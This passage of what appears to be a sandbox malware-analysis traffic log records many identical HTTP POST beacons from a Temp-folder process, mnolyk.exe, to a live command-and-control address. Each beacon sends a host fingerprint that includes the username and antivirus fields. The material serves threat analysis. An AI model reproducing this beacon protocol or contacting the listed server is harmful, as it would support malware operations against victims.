Feb 6, 2023 14:17:35.997425079 CET	375	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:36.062361956 CET	376	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.5	49865	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:36.266769886 CET	376	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:36.329330921 CET	377	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.5	49866	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:36.501144886 CET	377	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:36.565888882 CET	378	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.5	49867	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:36.742778063 CET	378	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:36.806961060 CET	379	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.5	49868	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:36.986361980 CET	379	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:37.051250935 CET	380	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.5	49869	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:37.244652033 CET	380	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:37.309365988 CET	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49708	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:33.047919035 CET	218	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:33.112329960 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.5	49870	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:37.486432076 CET	381	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:37.549299002 CET	382	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.5	49871	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:37.725069046 CET	382	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:37.788887978 CET	383	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.5	49872	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:37.956882954 CET	383	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:38.021882057 CET	384	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.5	49873	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:38.196580887 CET	384	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:38.263432980 CET	384	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.5	49874	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:38.440488100 CET	385	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:38.503765106 CET	385	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.5	49875	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:38.674669981 CET	386	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:38.739365101 CET	386	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.5	49876	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:38.908848047 CET	387	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:38.973138094 CET	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.5	49877	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:39.154447079 CET	388	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:39.218770981 CET	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.5	49878	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:39.400319099 CET	389	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:39.466084957 CET	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.5	49879	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:39.657687902 CET	390	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:39.721652031 CET	390	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49709	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:33.287571907 CET	219	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:33.353867054 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.5	49880	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:39.895059109 CET	391	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:39.961123943 CET	391	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.5	49881	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:40.148507118 CET	392	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:40.217240095 CET	392	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.5	49882	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:40.393564939 CET	393	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:40.458098888 CET	393	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.5	49883	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:40.633558989 CET	394	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:40.700082064 CET	394	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
